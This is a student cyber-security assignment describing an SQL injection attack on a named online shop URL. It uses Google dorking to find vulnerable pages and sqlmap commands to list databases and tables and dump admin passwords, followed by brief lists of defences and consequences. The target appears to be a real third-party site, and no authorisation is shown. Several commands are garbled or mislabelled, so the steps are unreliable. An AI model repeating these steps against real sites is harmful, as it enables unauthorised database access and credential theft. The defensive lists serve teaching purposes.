Assignment

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Division- E

SUBJECT- CYBER-SECURITY &

FORENSIC

COURSE-BCA

4. Name of Target:

https://door39.store/page.php?id=28

POC: -

Level of Attack:

Level 3: - Database Access

By using sqlmap to identify the database type and list of databases. You've successfully bypassed the authentication mechanism and gained access to the underlying database. this is a significant vulnerability as it allows on attacker to access sensitive data, modify database records, and potentially execute arbitrary SQL commands.

Steps: -

- 1. Open your preferred web browser (I'm using firebox). Navigate to www.google.com (Search detail.php?id=1).
- 2. We can proceed to test them for SQL injection using a tool called sqlmap. \$ Sudo apt install sqlmap.
- 3. Once the installation is complete, run the following command to find SQL injection vulnerabilities using sqlmap:
- 4. \$ SQL map -u "URL" -dbs

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5. To retrieve the data from the admin for password use command: \$sqlmap -u "URL" -tables -C password -dump

6. To find the number of tables in a specific database, use the command: \$ SQL map -u "URL" -D <Database name> --tables



8.To find the number of tables in a specific database, use the command: \$ SQL map -u "URL" -D <Database name> - -COLUMNS



Use prepared Statements & parameterized queries.

- 1. Input validation.
- 2. Use Stored procedures.
- 3. Limit Database privileges.
- 4. Web application firewall (WAF)
- 5. Error Handling.

> CONEQUENCES OF SQL INJECTION ATTACKS: -

- 1. Data breach
- 2. Data Manipulation
- 3. Unauthorized Access
- 4. Website Defacement
- 5. Financial Loss
- 6. Service Disruption

> RECOMMENDED ACTIONS: -

- 1. Use the latest version of database & web technologies.
- 2. Sanitize Input.
- 3. Monitor & log Activities.